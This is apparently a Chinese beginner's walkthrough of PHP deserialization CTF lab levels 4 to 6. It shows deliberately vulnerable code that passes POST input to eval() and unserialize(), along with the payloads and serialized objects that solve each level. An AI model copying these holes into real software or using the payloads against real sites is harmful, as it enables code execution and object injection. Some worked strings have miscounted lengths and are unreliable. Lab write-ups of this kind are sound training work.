本文基于 PHPSerialize-labs 靶场 Level 4-6 整理,面向零基础小白(我)。 参考文章:HelloCTF - PHP 反序列化基础
php<?php
class FLAG3{
private $flag3_object_array = array("?","?");
}
class FLAG{
private $flag1_string = "?";
private $flag2_number = '?';
private $flag3_object;
function __construct() {
$this->flag3_object = new FLAG3();
}
}
$flag_is_here = new FLAG();
$code = $_POST['code'];
if(isset($code)){
eval($code);
} else {
highlight_file(__FILE__);
}
phpclass FLAG3{
private $flag3_object_array = array("?","?");
}
| 代码 | 解释 |
|---|---|
class FLAG3{ ... } | 定义一个名为 FLAG3 的类 |
private $flag3_object_array | 声明一个私有属性,名字叫 $flag3_object_array |
= array("?","?") | 默认值是一个数组,里面有两个元素(问号是占位符,实际部署时是真实 flag 片段) |
关键点:
private(私有)的回想 Level 3:FLAG 类里有
get_protected_flag()和get_private_flag()两个公共方法,我们可以通过调用方法来间接读取私有属性。但 FLAG3 类里一个方法都没有,所以没法走"公共方法间接获取"这条路。
phpclass FLAG{
private $flag1_string = "?";
private $flag2_number = '?';
private $flag3_object;
function __construct() {
$this->flag3_object = new FLAG3();
}
}
| 代码 | 解释 |
|---|---|
class FLAG{ ... } | 定义主类 FLAG |
private $flag1_string = "?" | 私有属性,字符串类型,存 flag 第一部分 |
private $flag2_number = '?' | 私有属性,这里用了单引号,存 flag 第二部分(可能是数字或其他) |
private $flag3_object | 私有属性,初始没有赋值,类型是对象 |
function __construct() { ... } | 构造函数,new FLAG() 时自动执行 |
$this->flag3_object = new FLAG3(); | 构造函数里创建了一个 FLAG3 对象,赋值给 $flag3_object |
关键点:
private$flag3_object 赋了一个 FLAG3 对象,没有输出任何东西所以这道题既不能像 Level 1 那样靠构造函数输出,也不能像 Level 3 那样靠公共方法获取。那怎么办?HINT 已经告诉你了:试试序列化!
php$flag_is_here = new FLAG();
| 代码 | 解释 |
|---|---|
$flag_is_here | 变量名,意思是"flag 就在这里" |
new FLAG() | 实例化 FLAG 类,触发构造函数 |
执行后 $flag_is_here 对象的结构:
$flag_is_here (FLAG 对象) ├── private $flag1_string = "?" ← flag 第一部分 ├── private $flag2_number = '?' ← flag 第二部分 └── private $flag3_object = FLAG3 对象 ← flag 第三部分在 FLAG3 对象里 └── private $flag3_object_array = ["?", "?"] ← flag 第三部分
flag 被嵌套存储:FLAG 对象 → FLAG3 对象 → 数组 → 数组元素
php$code = $_POST['code'];
if(isset($code)){
eval($code);
} else {
highlight_file(__FILE__);
}
| 代码 | 解释 |
|---|---|
$code = $_POST['code']; | 从 POST 请求获取 code 参数 |
if(isset($code)) | 判断有没有提交 code |
eval($code); | 执行用户提交的 PHP 代码(任意代码执行点) |
highlight_file(__FILE__); | 没提交 code 时,显示当前文件的源码 |
| 关卡 | 解法 | 本题为什么不行 |
|---|---|---|
| Level 1 | new FLAG() 触发构造函数输出 | 本题构造函数里只有赋值,没有 echo |
| Level 2 | $target->free_flag = $flag_string | 本题没有外部全局变量 $flag_string |
| Level 3 | $target->get_private_flag() | 本题 FLAG 和 FLAG3 类里没有任何公共方法 |
serialize() 函数可以把对象的所有属性(包括 private 和 protected)都转换成字符串!
这是 PHP 序列化的一个特性:
序列化不关心权限修饰符,它会忠实地把对象的所有属性名和属性值都编码进字符串里。
也就是说:
private 属性平时访问不了 ❌serialize() 可以把 private 属性的值"泄露"出来 ✅举个栗子吧
phpclass Secret {
private $hidden = "我是秘密";
public $shown = "我是公开";
}
$obj = new Secret();
echo serialize($obj);
O:6:"Secret":2:{s:12:"Secrethidden";s:12:"我是秘密";s:5:"shown";s:12:"我是公开";}
phpecho serialize($flag_is_here);
提交:
code=echo+serialize($flag_is_here);

eval($code) 执行 echo serialize($flag_is_here);serialize($flag_is_here) 把 $flag_is_here 对象转成字符串echo 输出这个字符串,你就能看到 flag 了phpO:4:"FLAG":3:{s:18:"FLAGflag1_string";s:8:"ser4l1ze";s:18:"FLAGflag2_number";i:2;s:18:"FLAGflag3_object";O:5:"FLAG3":1:{s:25:"FLAG3flag3_object_array";a:2:{i:0;s:3:"se3";i:1;s:2:"me";}}}
phpO:4:"FLAG":3:{ ← FLAG 对象,3个属性
s:18:"FLAGflag1_string";s:8:"ser4l1ze"; ← private $flag1_string 的值
s:18:"FLAGflag2_number";i:2; ← private $flag2_number 的值
s:18:"FLAGflag3_object";O:5:"FLAG3":1:{ ← private $flag3_object 是 FLAG3 对象
s:25:"FLAG3flag3_object_array";a:2:{ ← FLAG3 的 private 属性
i:0;s:3:"se3";
i:1;s:2:"me";
}
}
}
从输出中提取 flag 片段拼接即可。
你可能注意到属性名前面有奇怪的东西:
phps:18:"FLAGflag1_string"
flag1_string 明明只有 14 个字符,为什么长度是 18?
因为 private 属性在序列化时,会在属性名前加上:
类名 属性名
即:
是 ASCII 值为 0 的空字符(不可见)FLAG FLAG flag1_string计算长度:
= 1 个字符FLAG = 4 个字符 = 1 个字符flag1_string = 14 个字符同理,FLAG3flag3_object_array 的长度是 25:
+ FLAG3 + + flag3_object_array = 1 + 5 + 1 + 18 = 25 ✅这也是为什么在 Level 6 会学到:输出序列化字符串时建议用
urlencode(),避免这些不可见字符在传输过程中丢失。
即使使用 echo serialize($flag_is_here),浏览器或工具中看到的响应也可能被截断。例如:
O:4:"FLAG":3:{s:18:"
原因就是 s:18:" 后面跟的是空字节 ,在大多数文本显示环境中,空字节之后的字符会被视为空白或直接截断显示。实际上 TCP 层面的数据是完整的,只是开启美化后看不到。
如果麻烦一些,可以在输出前对序列化字符串进行编码。
方法一:URL 编码
phpecho urlencode(serialize($flag_is_here));
响应示例(部分):
O%3A4%3A%22FLAG%22%3A3%3A%7Bs%3A18%3A%22%00FLAG%00flag1_string%22%3Bs%3A8%3A...
%00 就是空字节的 URL 编码,解码后即可恢复完整的序列化字符串。
方法二:Base64 编码
phpecho base64_encode(serialize($flag_is_here));
拿到 Base64 后在本地解码,也能得到完整的原始数据。
方法三:var_dump 递归输出
phpvar_dump($flag_is_here);
直接输出对象的完整结构,也能看到所有属性值。
echo unserialize(serialize($flag_is_here))?phpecho unserialize(serialize($flag_is_here));
这段代码会失败,因为:
serialize($flag_is_here) 把对象转成字符串unserialize(...) 把字符串还原成 FLAG 对象echo 要求输出的内容能够转换成字符串FLAG 类没有定义 __toString() 方法Object of class FLAG could not be converted to string正确的做法是直接输出序列化字符串,而不是再反序列化回去输出对象。
phpecho serialize($flag_is_here); // ✅ 正确
若想在拿到序列化数据后修改某些属性值再反序列化(例如用于注入攻击),需要严格遵循私有属性的命名规则:
类名 属性名 的格式,空字节不能丢s:8 改为 s:5),其他部分的结构不变推荐的操作方式:在代码中使用反射直接修改对象的私有属性,然后重新 serialize,这样不会出错。
php$obj = unserialize($original_str);
$ref = new ReflectionClass($obj);
$prop = $ref->getProperty('flag1_string');
$prop->setAccessible(true);
$prop->setValue($obj, 'new_value');
echo serialize($obj);
php<?php
class a_class{
public $a_value = "HelloCTF";
}
$your_object = unserialize($_POST['o']);
$your_array = unserialize($_POST['a']);
$your_string = unserialize($_POST['s']);
$your_number = unserialize($_POST['i']);
$your_boolean = unserialize($_POST['b']);
$your_NULL = unserialize($_POST['n']);
if(
$your_boolean &&
$your_NULL == null &&
$your_string == "IWANT" &&
$your_number == 1 &&
$your_object->a_value == "FLAG" &&
$your_array['a'] == "Plz" && $your_array['b'] == "Give_M3"
){
echo $flag;
}else{
echo "You really know how to serialize?";
}
在这串源码的上方,上来他就给了一大串代码,让我们逐行来分析
phpclass a_class{
public $a_value = "HelloCTF";
}
$a_object = new a_class();
$a_array = array(a=>"Hello",b=>"CTF");
$a_string = "HelloCTF";
$a_number = 678470;
$a_boolean = true;
$a_null = null;
phpclass a_class{
public $a_value = "HelloCTF";
}
a_class,名字长度是 7 个字符(a-_-c-l-a-s-s)$a_value,默认值是 "HelloCTF""HelloCTF" 的长度是 8 个字符php$a_object = new a_class();
a_class,创建一个对象a_value,值是 "HelloCTF"php$a_array = array(a=>"Hello",b=>"CTF");
"a" → 值 "Hello""b" → 值 "CTF"php$a_string = "HelloCTF";
"HelloCTF"php$a_number = 678470;
678470php$a_boolean = true;
truephp$a_null = null;
$a_objectO:7:"a_class":1:{s:7:"a_value";s:8:"HelloCTF";}
| 片段 | 含义 |
|---|---|
O | Object(对象) |
:7: | 类名长度,"a_class" 是 7 个字符 |
"a_class" | 类名 |
:1: | 这个对象有 1 个属性 |
{...} | 属性列表 |
s:7:"a_value" | 属性名是字符串,长度 7,内容是 "a_value" |
s:8:"HelloCTF" | 属性值是字符串,长度 8,内容是 "HelloCTF" |
注意:因为是
public属性,所以属性名前面没有\0前缀。如果是private或protected,前面会有空字节。
$a_arraya:2:{s:1:"a";s:5:"Hello";s:1:"b";s:3:"CTF";}
| 片段 | 含义 |
|---|---|
a | Array(数组) |
:2: | 数组有 2 个元素 |
{...} | 元素列表 |
s:1:"a" | 第一个键,字符串,长度 1,内容是 "a" |
s:5:"Hello" | 第一个值,字符串,长度 5,内容是 "Hello" |
s:1:"b" | 第二个键,字符串,长度 1,内容是 "b" |
s:3:"CTF" | 第二个值,字符串,长度 3,内容是 "CTF" |
数组的每个元素都是
键;值;成对出现。
$a_strings:8:"HelloCTF";
| 片段 | 含义 |
|---|---|
s | String(字符串) |
:8: | 字符串长度,"HelloCTF" 是 8 个字符 |
"HelloCTF" | 字符串内容 |
$a_numberi:678470;
| 片段 | 含义 |
|---|---|
i | Integer(整数) |
:678470 | 整数值 |
; | 结束符 |
$a_booleanb:1;
| 片段 | 含义 |
|---|---|
b | Boolean(布尔) |
:1 | true 用 1 表示 |
; | 结束符 |
false会序列化为b:0;
$a_nullN;
| 片段 | 含义 |
|---|---|
N | Null(空) |
; | 结束符 |
null 最简单,就一个
N;
| 类型 | 标识 | 格式 | 示例 |
|---|---|---|---|
| 字符串 | s | s:长度:"内容"; | s:8:"HelloCTF"; |
| 整数 | i | i:数值; | i:678470; |
| 布尔 | b | b:1; (true) / b:0; (false) | b:1; |
| null | N | N; | N; |
| 数组 | a | a:个数:{键;值;键;值;...} | a:2:{s:1:"a";s:5:"Hello";...} |
| 对象 | O | O:类名长度:"类名":属性数:{...} | O:7:"a_class":1:{...} |
这是两道题最关键的区别,很多小白在这里会混淆:
| 对比项 | Level 4 | Level 5 |
|---|---|---|
| 代码执行方式 | eval($code) — 任意代码执行 | unserialize($_POST['x']) — 反序列化 |
| 你需要提交什么 | PHP 代码(如 echo serialize(...)) | 序列化字符串(如 b:1;) |
| 参数名 | 只有一个 code | 6 个参数:o, a, s, i, b, n |
| 漏洞类型 | 代码执行 | 反序列化输入校验 |
Level 5 根本不需要 eval! 代码直接把你 POST 过来的 6 个字符串分别反序列化成变量,然后进行 if 判断。你不需要执行额外的命令,只需要提供正确的序列化数据即可。
o=, a=, s= 等?因为 PHP 代码明确写了:
php$your_object = unserialize($_POST['o']);
$your_array = unserialize($_POST['a']);
$your_string = unserialize($_POST['s']);
$your_number = unserialize($_POST['i']);
$your_boolean = unserialize($_POST['b']);
$your_NULL = unserialize($_POST['n']);
它从 POST 请求中读取名为 o, a, s, i, b, n 的参数。所以你必须用对应的参数名来传递序列化字符串。参数名是题目代码规定的,不能改动。
| 类型 | 序列化格式 | 示例 |
|---|---|---|
| 字符串 | s:长度:"内容"; | s:5:"Hello"; |
| 整数 | i:数值; | i:123; |
| 布尔值 | b:1; (true) 或 b:0; (false) | b:1; |
null | N; | N; |
| 数组 | a:元素个数:{键;值;键;值;...} | a:2:{s:1:"a";s:3:"Plz";...} |
| 对象 | O:类名长度:"类名":属性个数:{属性名;值;...} | O:7:"a_class":1:{s:7:"a_value";s:4:"FLAG";} |
注意:所有长度必须与字符串的实际字节数严格一致,语句必须以分号分隔。
这里就和答案代码大差不差了
$your_boolean 为 true序列化格式:b:1;
$your_NULL 为 null序列化格式:N;
$your_string 为 "IWANT"长度:5(I-W-A-N-T,共5个字符)
序列化格式:s:5:"IWANT";
$your_number 为 1序列化格式:i:1;
$your_object,其 a_value 属性为 "FLAG"a_class (长度为 7)a_value (长度为 7,public 属性不需要空字节)"FLAG" (长度为 4)完整格式:
O:7:"a_class":1:{s:7:"a_value";s:4:"FLAG";}
⚠️ 常见错误:
s:4:"FLAG"前面缺少属性名定义 —— 必须有s:7:"a_value";来声明属性名
$your_array,要求 'a' => "Plz", 'b' => "Give_M3"'a' 为字符串,长度 1,值 "Plz" 长度 3'b' 为字符串,长度 1,值 "Give_M3" 长度 7完整格式:
a:2:{s:1:"a";s:3:"Plz";s:1:"b";s:7:"Give_M3";}
在 HTTP 请求体中,需要将 6 个参数分别填入正确的序列化字符串:
| 参数名 | 值(序列化字符串) |
|---|---|
o | O:7:"a_class":1:{s:7:"a_value";s:4:"FLAG";} |
a | a:2:{s:1:"a";s:3:"Plz";s:1:"b";s:7:"Give_M3";} |
s | s:5:"IWANT"; |
i | i:1; |
b | b:1; |
n | N; |
完整 payload(未编码形式,直接用于 yakit):
o=O:7:"a_class":1:{s:7:"a_value";s:4:"FLAG";}&a=a:2:{s:1:"a";s:3:"Plz";s:1:"b";s:7:"Give_M3";}&s=s:5:"IWANT";&i=i:1;&b=b:1;&n=N;

& 分隔参数?& 是 HTTP 查询字符串/表单参数的分隔符,用于连接多个 key=value 对。
o=...&a=...&s=... 表示三个不同的 POST 参数&& 是 PHP 逻辑与运算符,不能出现在 URL 参数中分隔参数你在 Burp Suite 中看到的是 application/x-www-form-urlencoded 格式的请求体,多个参数用 & 连接,这是 HTTP 协议层面的规则,与 PHP 的 && 毫无关系。
PHP 序列化字符串的结尾不加额外的分号。每个值的表示是一个完整的单元,以 } 或值的字面量结束,单元之后不再有分号。
例子:
s:5:"IWANT"; ← 这个分号属于字符串声明的结束,是序列化格式要求的O:7:"a_class":1:{s:7:"a_value";s:4:"FLAG";} ← 结尾是 },没有分号a:2:{s:1:"a";s:3:"Plz";s:1:"b";s:7:"Give_M3";} ← 结尾是 },没有分号序列化语法里的分号只出现在以下位置:
s:7:"a_value";)所以,当你把整个对象的序列化字符串放进参数 o= 时,内部自有分号,但整体字符串末尾没有分号。这就是为什么看到 ...;} 而没在 } 后面加 ;。
s=s:5:"IWANT";& 中带了分号?因为 $_POST['s'] 接收的是字符串 "IWANT" 的序列化结果。
"IWANT" 序列化后就是 s:5:"IWANT";,这个分号是序列化格式本身的一部分,不是你额外加的。
整个参数值就是 s:5:"IWANT";,所以当你写成 s=s:5:"IWANT"; 并放在请求体中时,第一个 s 是参数名,等号后面的 s:5:"IWANT"; 是参数值。值里必须包含分号,否则 PHP 的 unserialize 会解析失败。
| 错误 | 原因 | 正确写法 |
|---|---|---|
s:8:"IWANT" | 字符串长度算错,"IWANT" 只有 5 个字符 | s:5:"IWANT" |
O:7:"a_value" | 对象类名写错,错把属性名当成类名 | O:7:"a_class" |
O:7:"a_class":1:{s:4:"FLAG";} | 缺少属性名定义 | O:7:"a_class":1:{s:7:"a_value";s:4:"FLAG";} |
缺少数组参数 a | 只提交了部分参数 | 必须提交 o, a, s, i, b, n 六个参数 |
用 && 分隔参数 | 混淆了 PHP 逻辑运算符和 HTTP 参数分隔符 | 用 & 分隔 |
php<?php
class protectedKEY{
protected $protected_key = "???";
}
class privateKEY{
private $private_key = "???";
}
$pk = unserialize($_POST['protected_key']);
$prk = unserialize($_POST['private_key']);
if(
$pk->protected_key == "protected_key" &&
$prk->private_key == "private_key"
){
echo $flag;
}else{
echo "Check your serialize string!";
}
phpclass protectedKEY{
protected $protected_key = "???";
}
| 代码 | 解释 |
|---|---|
class protectedKEY{ ... } | 定义一个名为 protectedKEY 的类 |
protected $protected_key | 声明一个 protected(受保护) 属性 |
= "???" | 默认值是占位符,实际部署时是待匹配的值 |
关键点:
protected 属性只能在本类内部和子类内部访问phpclass privateKEY{
private $private_key = "???";
}
| 代码 | 解释 |
|---|---|
class privateKEY{ ... } | 定义一个名为 privateKEY 的类 |
private $private_key | 声明一个 private(私有) 属性 |
= "???" | 默认值是占位符,实际部署时是待匹配的值 |
关键点:
private 属性只能在本类内部访问,子类都继承不了php$pk = unserialize($_POST['protected_key']);
$prk = unserialize($_POST['private_key']);
if(
$pk->protected_key == "protected_key" &&
$prk->private_key == "private_key"
){
echo $flag;
}
| 代码 | 解释 |
|---|---|
$pk = unserialize($_POST['protected_key']); | 从 POST 参数 protected_key 获取序列化字符串,反序列化成 protectedKEY 对象 |
$prk = unserialize($_POST['private_key']); | 从 POST 参数 private_key 获取序列化字符串,反序列化成 privateKEY 对象 |
if(...) | 判断反序列化后的对象属性值是否等于目标字符串 |
echo $flag; | 条件满足则输出 flag |
注意:这里的判断是 $pk->protected_key == "protected_key",也就是说,反序列化后对象的属性值必须是 "protected_key"。但源码里默认值是 "???",所以我们必须通过反序列化字符串来"覆盖"这个默认值。
在 Level 5 中,所有属性都是 public,序列化字符串长这样:
s:7:"a_value";s:4:"FLAG";
属性名干干净净,直接就是 "a_value",没有任何前缀。
但 Level 6 引入了 protected 和 private,事情就变了:
| 修饰符 | Level 5 (public) | Level 6 (protected/private) |
|---|---|---|
| 属性名格式 | s:7:"a_value" | s:15:"\0*\0protected_key" 或 s:23:"\0privateKEY\0private_key" |
| 是否有不可见字符 | ❌ 没有 | ✅ 有空字节 \0 |
| 直接复制是否可行 | ✅ 可以 | ❌ 空字节会丢失 |
如果你按照 Level 5 的思路,直接构造:
O:12:"protectedKEY":1:{s:12:"protected_key";s:15:"protected_key";}
这是错的! 因为 protected 属性的序列化名不是 "protected_key",而是 "\0*\0protected_key"。
格式:\0*\0属性名
phpclass protectedKEY{
protected $protected_key = "protected_key";
}
// 序列化后属性名部分:s:15:"\0*\0protected_key"
长度计算:
\0 = 1 个字符* = 1 个字符\0 = 1 个字符protected_key = 13 个字符完整序列化字符串:
O:12:"protectedKEY":1:{s:15:"\0*\0protected_key";s:15:"protected_key";}
格式:\0类名\0属性名
phpclass privateKEY{
private $private_key = "private_key";
}
// 序列化后属性名部分:s:23:"\0privateKEY\0private_key"
长度计算:
\0 = 1 个字符privateKEY = 10 个字符\0 = 1 个字符private_key = 11 个字符完整序列化字符串:
O:10:"privateKEY":1:{s:23:"\0privateKEY\0private_key";s:11:"private_key";}
\0 是 ASCII 码为 0 的空字符(NULL),在大多数文本环境中:
所以这道题的核心考点就是:怎么处理这些不可见字符?
\0 的 URL 编码是 %00,肉眼可见且不会丢失。
phpecho urlencode(serialize(new protectedKEY));
// 输出:O%3A12%3A%22protectedKEY%22%3A1%3A%7Bs%3A15%3A%22%00%2A%00protected_key%22%3Bs%3A15%3A%22protected_key%22%3B%7D
注意:
%00 就是 \0 的 URL 编码%2A 就是 * 的 URL 编码在本地 PHP 环境里:
php<?php
class protectedKEY{
protected $protected_key = "protected_key";
}
class privateKEY{
private $private_key = "private_key";
}
echo urlencode(serialize(new protectedKEY));
echo "\n";
echo urlencode(serialize(new privateKEY));
然后把输出的 URL 编码字符串直接贴到 POST 参数里。
php
protected_key=O:12:"protectedKEY":1:{s:16:"%00*%00protected_key";s:13:"protected_key";}&private_key=O:10:"privateKEY":1:{s:23:"%00privateKEY%00private_key";s:11:"private_key";}

php<?php
class protectedKEY{
protected $protected_key = "protected_key";
}
class privateKEY{
private $private_key = "private_key";
}
$exp = "protected_key=".urlencode(serialize(new protectedKEY))."&private_key=".urlencode(serialize(new privateKEY));
echo $exp;
protected_key=O%3A12%3A%22protectedKEY%22%3A1%3A%7Bs%3A15%3A%22%00%2A%00protected_key%22%3Bs%3A15%3A%22protected_key%22%3B%7D&private_key=O%3A10%3A%22privateKEY%22%3A1%3A%7Bs%3A23%3A%22%00privateKEY%00private_key%22%3Bs%3A11%3A%22private_key%22%3B%7D
如果你能在请求中精确输入空字节(比如在 Burp Suite 的 Hex 模式下),也可以直接提交:
protected_key=O:12:"protectedKEY":1:{s:15:"\0*\0protected_key";s:15:"protected_key";}&private_key=O:10:"privateKEY":1:{s:23:"\0privateKEY\0private_key";s:11:"private_key";}
⚠️ 注意:上面这行里的
\0在实际提交时应该是真正的空字节,或者直接用 URL 编码后的版本。在普通文本框里输入%00不会被自动解码成空字节,所以推荐用本地 PHP 生成 urlencode 后的字符串。
| 错误 | 原因 | 正确写法 |
|---|---|---|
s:12:"protected_key" | 忽略了 protected 属性的 \0*\0 前缀 | s:15:"\0*\0protected_key" |
s:11:"private_key" | 忽略了 private 属性的 \0类名\0 前缀 | s:23:"\0privateKEY\0private_key" |
| 空字节在传输中丢失 | 直接复制粘贴,浏览器/编辑器吞掉了 \0 | 用 urlencode() 编码后再传输 |
| 类名写错 | private 前缀必须带当前类名,不是属性名 | \0privateKEY\0private_key ✅ |
| 长度算错 | 没把 \0 和类名算进长度 | 重新数:1+10+1+11=23 |
| 对比项 | Level 5 | Level 6 |
|---|---|---|
| 核心考点 | 各种数据类型的序列化格式 | protected / private 的序列化特殊格式 |
| 属性修饰符 | 全是 public | protected + private |
| 属性名格式 | 直接写名字,如 "a_value" | 带前缀:\0*\0名字 或 \0类名\0名字 |
| 是否有不可见字符 | ❌ 没有 | ✅ 有空字节 \0 |
| 是否需要 urlencode | 不需要 | 强烈建议用 urlencode |
| 提交方式 | 直接贴序列化字符串 | 本地生成 → urlencode → 粘贴 |
| 长度计算复杂度 | 简单,直接数字符 | 需要加上前缀的隐藏字符 |
| 修饰符 | 序列化属性名格式 | 长度计算 | 示例 |
|---|---|---|---|
public | 属性名 | strlen(属性名) | s:7:"a_value" |
protected | \0*\0属性名 | 3 + strlen(属性名) | s:15:"\0*\0protected_key" |
private | \0类名\0属性名 | 2 + strlen(类名) + strlen(属性名) | s:23:"\0privateKEY\0private_key" |
┌─────────────────────────────────────────────────────────────┐ │ Level 4(eval 执行) │ ├─────────────────────────────────────────────────────────────┤ │ 你提交的:PHP 代码(如 echo serialize($flag_is_here);) │ │ 服务器做的:eval(你的代码) → 执行你的代码 → 输出结果 │ │ 参数名:code │ │ 漏洞类型:任意代码执行 │ └─────────────────────────────────────────────────────────────┘ ┌─────────────────────────────────────────────────────────────┐ │ Level 5(反序列化输入) │ ├─────────────────────────────────────────────────────────────┤ │ 你提交的:序列化字符串(如 b:1;) │ │ 服务器做的:unserialize(你的字符串) → 还原成变量 → if 判断 │ │ 参数名:o, a, s, i, b, n(6个参数) │ │ 漏洞类型:反序列化输入校验(本题是正向利用,非漏洞) │ └─────────────────────────────────────────────────────────────┘
关键区别:
eval() 执行它unserialize() 解析它| 类型标识 | 含义 | 格式 | 示例 |
|---|---|---|---|
a | array 数组 | a:数量:{键;值;...} | a:2:{i:0;s:3:"tan";i:1;s:2:"ji";} |
b | boolean 布尔 | b:1; (true) / b:0; (false) | b:1; |
C | custom object 自定义对象 | C:类名长度:"类名":数据长度:{数据} | C:4:"User":125:{...} |
d | double 小数 | d:数值; | d:1.1; |
i | integer 整数 | i:数值; | i:114; |
N | null NULL | N; | N; |
O | Object 对象 | O:类名长度:"类名":属性数:{...} | O:4:"FLAG":1:{...} |
r | reference 对象引用 | r:编号; | r:2; |
R | pointer reference 指针引用 | R:编号; | R:2; |
s | string 字符串 | s:长度:"内容"; | s:8:"HelloCTF"; |
S | encoded string 编码字符串 | S:长度:"十六进制编码"; | S:1:"1"; |
格式:类名 属性名
示例:
phpclass Demo{
private $c;
}
// 序列化后:s:7:" Demo c"
// 长度 = 1( ) + 4(Demo) + 1( ) + 1(c) = 7
格式: * 属性名
示例:
phpclass Demo{
protected $b;
}
// 序列化后:s:4:" * b"
// 长度 = 1( ) + 1(*) + 1( ) + 1(b) = 4
| 现象 | 可能原因 | 排查方法 |
|---|---|---|
unserialize() 报错 | 长度不匹配 | 仔细检查 s:长度 是否与实际字符数一致 |
Object could not be converted to string | 直接 echo 对象 | 用 serialize() 或 var_dump() |
| 条件判断不通过 | 序列化数据构造错误 | 逐项检查类型和值是否匹配 |
| 参数名错误 | 混淆了 o 和 code | 看清楚代码里用的是 $_POST['什么'] |
| 对比项 | Level 4 | Level 5 |
|---|---|---|
| 核心考点 | 序列化初体验 | 序列化规则实战 |
| flag 获取方式 | 用 serialize() 读取已有对象的私有属性 | 构造正确的序列化数据通过条件判断 |
| 代码执行方式 | eval($code) — 任意代码执行 | unserialize($_POST['x']) — 反序列化 |
| 提交内容 | PHP 代码 | 序列化字符串 |
| 参数数量 | 1 个 (code) | 6 个 (o, a, s, i, b, n) |
| 关键函数 | serialize(), eval() | unserialize() |
| 新知识点 | 序列化可以绕过权限修饰符 | 各种数据类型的序列化格式 |
| 常见坑 | 空字节显示截断 | 字符串长度算错、对象结构写错 |
| 目的 | Payload |
|---|---|
| 直接查看序列化(可能截断) | code=echo serialize($flag_is_here); |
| URL 编码后查看 | code=echo urlencode(serialize($flag_is_here)); |
| Base64 编码后查看 | code=echo base64_encode(serialize($flag_is_here)); |
| 使用 var_dump 递归输出 | code=var_dump($flag_is_here); |
| 参数 | 值 |
|---|---|
o | O:7:"a_class":1:{s:7:"a_value";s:4:"FLAG";} |
a | a:2:{s:1:"a";s:3:"Plz";s:1:"b";s:7:"Give_M3";} |
s | s:5:"IWANT"; |
i | i:1; |
b | b:1; |
n | N; |